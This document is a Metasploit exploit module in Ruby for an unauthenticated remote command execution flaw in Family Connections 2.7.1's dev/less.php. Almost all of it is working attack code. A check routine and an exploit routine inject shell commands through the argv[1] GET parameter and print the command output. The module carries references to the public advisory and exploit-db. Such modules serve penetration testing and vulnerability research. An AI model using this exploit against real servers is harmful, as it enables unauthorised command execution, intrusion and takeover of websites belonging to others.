Family Connections less.php Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Family Connections less.php Remote Command Execution',  
'Description' => %q{  
This module exploits an arbitrary command execution vulnerability in  
Family Connections 2.7.1. It's in the dev/less.php script and is due  
to an insecure use of system(). Authentication isn't required to exploit  
the vulnerability but register_globals must be set to On.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ],  
[ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ],  
[ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/18198/' ]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic telnet perl ruby',  
}  
},  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD,  
'Targets' => [['Automatic',{}]],  
'DisclosureDate' => 'Nov 29 2011',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]),  
],self.class)  
end  
  
def check  
uri = datastore['URI']  
uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"  
  
mark = Rex::Text.rand_text_alpha(rand(5) + 5)  
  
res = send_request_cgi({  
'uri' => uri,  
'vars_get' => { 'argv[1]' => "|echo #{mark};#" }  
}, 25)  
  
if res and res.code == 200 and res.body =~ /#{mark}/  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
uri = datastore['URI']  
uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"  
  
start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)  
end_mark = Rex::Text.rand_text_alpha(rand(5) + 5)  
custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#"  
  
res = send_request_cgi({  
'uri' => uri,  
'vars_get' => { 'argv[1]' => custom_payload }  
}, 25)  
  
if res and res.code == 200 and res.body =~ /#{start_mark}/  
# Prints output when using cmd/unix/generic  
result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0]  
if not result.strip.empty?  
print_status("Result of the command:\n#{result}")  
end  
end  
end  
  
end  
`